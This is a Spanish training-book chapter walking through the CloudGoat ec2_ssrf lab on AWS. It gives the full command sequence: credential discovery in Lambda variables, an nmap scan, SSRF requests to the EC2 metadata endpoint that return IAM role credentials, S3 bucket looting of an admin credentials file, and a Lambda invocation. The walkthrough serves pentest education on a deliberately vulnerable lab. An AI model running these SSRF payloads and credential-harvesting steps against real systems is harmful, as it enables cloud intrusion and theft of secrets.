> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/abusando-del-servicio-de-metadatos-imdsv1-por-medio-de-un-ssrf.md). # Abusando del servicio de metadatos IMDSv1 por medio de un SSRF {% hint style="danger" %} ¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial. {% endhint %} En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos. Primero, debemos desplegar el escenario con el siguiente comando: ``` ./cloudgoat.py create ec2_ssrf ```

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus. {% hint style="danger" %} A partir de este momento, estaremos trabajando con el usuario **solus-ec2\_ssrf\_cgidysznrzllxi**. Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil. {% endhint %} Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity. ``` aws configure --profile solus ```

El token se especificará dentro del archivo plano de credenciales. ``` aws sts get-caller-identity --profile solus ```

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos: {% code overflow="wrap" %} ``` aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus ``` {% endcode %}

Vamos a listar las políticas para el usuario que será auditado: ``` aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi ```

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado: {% code overflow="wrap" %} ``` aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1 ``` {% endcode %}

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad. Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda. Comenzamos con listando las funciones de lambda disponibles con el siguiente comando: ``` aws lambda list-functions --profile solus ```

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2. **Enlace de referencia:** {% embed url="" %} Vamos a intentar autenticarnos con estas nuevas credenciales encontradas: Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity. ``` aws configure --profile lambda ```

``` aws sts get-caller-identity --profile lambda ```

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido. Teniendo en cuenta el nombre del usuario (`wrex-ec2_ssrf_cgidysznrzllxi`), podríamos decir que probablemente tenga privilegios en el servicio de EC2. Así que vamos a ejecutar el siguiente comando para listar las instancias: ``` aws ec2 describe-instances --profile lambda ```

Logramos identificar una instancia corriendo. Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada. ``` nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com ```

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP. Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web. ``` curl http://ec2-3-87-227-98.compute-1.amazonaws.com ```

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores. En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL. Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado: ``` curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url= ```

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente. ## ¿Qué es SSRF? La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada. **Enlace de referencia:** {% embed url="" %} Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL: ``` curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com ```

En la evidencia previa, podemos apreciar que el código HTML del sitio `www.google.com` fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2. Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia. Los *metadatos de instancia* son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad. **Enlace de referencia:** {% embed url="" %} El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: {% hint style="info" %} Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia. {% endhint %} Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos: {% code overflow="wrap" %} ``` curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/ ``` {% endcode %}

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos. Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso: {% code overflow="wrap" %} ``` curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi ``` {% endcode %}

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas: Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity. ``` aws configure --profile ec2 ```

El token se especificará dentro del archivo plano de credenciales. ``` aws sts get-caller-identity --profile ec2 ```

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md) Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario. Los permisos para este nuevo rol comprometido son:

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3. Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos: ``` aws s3 ls --profile ec2 ```

Luego de listar el servicio de s3, podemos apreciar un Bucket. Vamos a listar el contenido de dicho Bucket: ``` aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2 ```

Ahora hemos identificado un archivo de formato TXT. Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido. {% code overflow="wrap" %} ``` aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2 ``` {% endcode %}

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales. Vamos a intentar autenticarnos con estas nuevas credenciales encontradas: Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity. ``` aws configure --profile end ```

``` aws sts get-caller-identity --profile end ```

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda. Por lo anterior, vamos a listar las funciones actuales de lambda: ``` aws lambda list-functions --profile end ```

{% code overflow="wrap" %} ``` aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end ``` {% endcode %}

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.